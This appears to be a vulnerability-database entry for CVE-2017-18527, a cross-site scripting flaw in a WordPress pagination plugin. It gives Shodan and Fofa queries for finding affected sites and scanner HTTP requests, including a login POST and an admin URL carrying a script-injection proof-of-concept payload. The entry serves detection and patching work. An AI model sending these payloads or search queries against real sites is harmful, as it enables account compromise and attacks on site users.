🔙 목록으로 돌아가기

CVE-2017-18527: Pagination by BestWebSoft < 1.0.7 - Cross-Site Scripting

TitlePagination by BestWebSoft < 1.0.7 - Cross-Site Scripting
Authorluisfelipe146
SeverityMedium
ImpactAuthenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
RemediationUpdate to version 1.0.7 or later.
CVSS Score6.1
EPSS Score0.00059
CVE IDCVE-2017-18527
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/pagination/
Fofa Querybody=/wp-content/plugins/pagination/
Tags cve2017 cve wordpress wp-plugin wpscan bws-pagination bws-xss authenticated bestwebsoft xss vuln

🔍 Vulnerability Description

The pagination plugin before 1.0.7 for WordPress has multiple XSS issues.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=O8Ryw5&pwd=JeLi4D&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_18) AppleWebKit/605.1.18 (KHTML, like Gecko) Version/18 Safari/605.1.18
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/pagination/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18527.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-18527.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A